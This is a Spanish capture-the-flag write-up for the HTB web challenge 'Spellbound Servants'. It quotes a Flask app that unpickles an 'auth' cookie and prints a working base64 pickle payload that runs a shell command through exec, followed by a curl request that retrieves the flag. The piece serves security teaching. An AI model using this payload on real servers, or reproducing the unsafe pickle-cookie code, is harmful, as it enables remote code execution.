Spellbound Servants
3 minutos de lectura
Se nos proporciona el siguiente sitio web:
También disponemos del código fuente de Python del servidor (Flask).
En primer lugar, podemos registrar una nueva cuenta e iniciar sesión:
Y llegamos a esta página:
¡No hay más funciones! Entonces, analicemos el código fuente.
Análisis del código fuente
Estos son los endpoints disponibles (blueprints/routes.py
):
from application.database import *
from flask import Blueprint, redirect, render_template, request, make_response
from application.util import response, isAuthenticated
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/', methods=['GET', 'POST'])
def loginView():
return render_template('login.html')
@web.route('/register', methods=['GET', 'POST'])
def registerView():
return render_template('register.html')
@web.route('/home', methods=['GET', 'POST'])
@isAuthenticated
def homeView(user):
return render_template('index.html', user=user)
@api.route('/login', methods=['POST'])
def api_login():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = login_user_db(username, password)
if user:
res = make_response(response('Logged In sucessfully'))
res.set_cookie('auth', user)
return res
return response('Invalid credentials!'), 403
@api.route('/register', methods=['POST'])
def api_register():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = register_user_db(username, password)
if user:
return response('User registered! Please login'), 200
return response('User already exists!'), 403
Como se puede ver, solo tenemos la capacidad de registrarnos e iniciar sesión. Pero obsérvese que nuestro nombre de usuario aparece en la página de inicio, por lo que hay algún tipo de control de sesiones. De hecho, tenemos una cookie llamada auth
:
Esta cookie se analiza en isAuthenticated
(util.py
):
def isAuthenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = request.cookies.get('auth', False)
if not token:
return abort(401, 'Unauthorised access detected!')
try:
user = pickle.loads(base64.urlsafe_b64decode(token))
kwargs['user'] = user
return f(*args, **kwargs)
except:
return abort(401, 'Unauthorised access detected!')
return decorator
Básicamente, la cookie auth
es un objeto serializado, que se deserializa con pickle
.
Solución
La clave aquí es que podemos controlar la cookie, y así podemos ingresar cualquier payload de pickle
y dejar que el servidor lo deserialice. Es bien sabido que deserializar datos no confiados con pickle
es peligroso. De hecho, podemos elaborar el siguiente payload de pickle
:
$ python3 -q
>>> import base64, pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("cat /flag.txt > /app/application/static/flag.txt")', )
...
>>> base64.b64encode(pickle.dumps(Bad()))
b'gASVZAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxIaW1wb3J0IG9zOyBvcy5zeXN0ZW0oImNhdCAvZmxhZy50eHQgPiAvYXBwL2FwcGxpY2F0aW9uL3N0YXRpYy9mbGFnLnR4dCIplIWUUpQu'
Cuando pickle
trate de deserializar el payload en Base64 anterior, ejecutará exec
y el código Python que aparece en la string (que ejecuta un comando de sistema).
El payload anterior es suficiente para resolver el reto, ya que ejecutará un comando de sistema para mover la flag a un directorio público des servidor web. Sin embargo, para más información sobre pickle
, se puede ver HackTricks, baby website rick, TrapTrack, Pickle Panic o Sickle.
Flag
Si establecemos el payload anterior de pickle
en Base64 como la cookie auth
y refrescamos la página, la flag se moverá al directorio static
:
Por lo tanto, solo necesitamos hacer una petición web para recuperar la flag:
$ curl 83.136.254.13:37486/static/flag.txt
HTB{sp3l1_0f_the_p1ckl3!}